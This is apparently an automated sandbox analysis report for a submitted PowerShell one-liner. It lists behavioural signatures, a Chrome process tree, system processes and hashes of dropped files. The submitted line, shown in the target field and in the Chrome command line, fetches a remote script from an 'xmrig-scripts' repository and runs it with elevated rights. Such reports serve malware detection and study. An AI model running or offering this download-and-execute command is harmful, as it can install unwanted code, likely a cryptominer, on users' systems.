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Analysis

  • max time kernel
    96s
  • max time network
    97s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240611-en
  • resource tags

    arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    27/06/2024, 01:32

Errors

Reason
Machine shutdown

General

  • Target

    http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

Malware Config

Signatures

  • Drops file in Windows directory 4 IoCs
  • Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 17 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
    1⤵
    • Access Token Manipulation: Create Process with Token
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4672
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb10b4ab58,0x7ffb10b4ab68,0x7ffb10b4ab78
      2⤵
        PID:1764
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1616 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:2
        2⤵
          PID:4376
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1948 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:8
          2⤵
            PID:3484
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2200 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:8
            2⤵
              PID:396
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2868 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:1
              2⤵
                PID:1180
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3016 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:1
                2⤵
                  PID:4024
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3996 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:1
                  2⤵
                    PID:3560
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3004 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:1
                    2⤵
                      PID:2428
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4360 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:8
                      2⤵
                        PID:2268
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4472 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:8
                        2⤵
                          PID:1544
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=3380 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:1
                          2⤵
                            PID:4824
                        • C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
                          "C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
                          1⤵
                            PID:4784
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
                            1⤵
                              PID:1332
                            • C:\Windows\System32\oobe\UserOOBEBroker.exe
                              C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
                              1⤵
                              • Drops file in Windows directory
                              PID:1604
                            • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe
                              C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding
                              1⤵
                                PID:1640
                              • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
                                "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
                                1⤵
                                • Modifies registry class
                                • Suspicious use of SetWindowsHookEx
                                PID:1552
                              • C:\Windows\system32\LogonUI.exe
                                "LogonUI.exe" /flags:0x4 /state0:0xa3a32855 /state1:0x41c64e6d
                                1⤵
                                • Modifies data under HKEY_USERS
                                • Suspicious use of SetWindowsHookEx
                                PID:2452

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

                                Filesize

                                1KB

                                MD5

                                055a28df632950f6827df72f1c7acc34

                                SHA1

                                0126520b32288c87f311f93bb9191f4218b9bada

                                SHA256

                                b388841feed87a6f96a658ecf6e44ea1731955b520a707021fb016a5b4978842

                                SHA512

                                7ee420b9d0d0ef62dc2521ee37ece5d67438ec5eadbc21b8c27696b96df99c948ab60f6d521cae81bcc3aaadf8a770cc3b385ec736ed37b824d52993a79256a3

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

                                Filesize

                                2B

                                MD5

                                d751713988987e9331980363e24189ce

                                SHA1

                                97d170e1550eee4afc0af065b78cda302a97674c

                                SHA256

                                4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                SHA512

                                b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                Filesize

                                7KB

                                MD5

                                633e6ecc19daf1bd03ba9904403ef3ac

                                SHA1

                                37b572919ea3bdaf6d90d58a74cff73dea1212e0

                                SHA256

                                e60c7ec57695ad5b53c91f4bd3b151472ccf8a563ac1c265f9ab897efeebdebe

                                SHA512

                                06571f4e9a7a09bbbb6ad68a4bff86088881278b65effd6d570e47da938d54fc64340f1bdd00f30b974cb3b1bc66da457e3c29a980c0d50cc3108ada43c0c1b7

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                Filesize

                                6KB

                                MD5

                                52b2ca2c5ae8c7b625cba2202a199a3d

                                SHA1

                                bae0b6a3ecabf4863c0ad4618b35b4034feb35bb

                                SHA256

                                87f67c8d2675913cbc855a668eea5cece1e227d1a8489e55a9b4718750d88079

                                SHA512

                                8e7f25720d9e7addf82a8c5b18f3fb0fefbc37585c10d5a2c8e3761c8c92c08ffcf72d11349b4e298d5488fc0adc8c0ffd22901014029d566578f34029712f79

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                Filesize

                                138KB

                                MD5

                                b8d24ddad17a393aaf575d0206d7619f

                                SHA1

                                563eb1432f426c37251c161d4add2cb243b5e790

                                SHA256

                                2bb4e91ec8521e361bb2e6b21be71346a443add801cf1e55eba38b33c95a5441

                                SHA512

                                524480a2dbd9e4442f80392aed60e8fd4708daeec2f4560160364b43bd4e512d670ff94e618de13e67e373fe6083bf2b228e97e4637e84b6a9a324d61883871a

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                Filesize

                                138KB

                                MD5

                                cd230d1f9b0df50f48a7b5a1b864510d

                                SHA1

                                55eb167908dc1326427848a6ea46c38229d0fe4f

                                SHA256

                                45dcf38511843372ce6adb3e3cacba263ec54ae84131c52a3b1b307d906bff63

                                SHA512

                                88034354cd48ccbb007e2d52a051158edbeda51b88ca290d646d8d7ef62cf7a7359fc4d072d8a292a723c3cd35d5a078cc5a8db67697edbaaed4220a8d45dde1

                              • C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat

                                Filesize

                                10KB

                                MD5

                                ebdb4566a509bf737e7f3726b8e5d003

                                SHA1

                                bfabb2b07b9cad82a182d5564c4bf61a6a40d61b

                                SHA256

                                29704bfd9a2326469e78055f8e9b54d6e0affbc5982608478beeb1c91a4cb6f8

                                SHA512

                                30f4cacb2db6a19f221f90e1547d4ecea075de7f73dffb0573cc3a2971a2bf92f4c2ea02bc0b622fcc6fb5ba47a8f21d656dc552f676476e0abf779e8a52b77d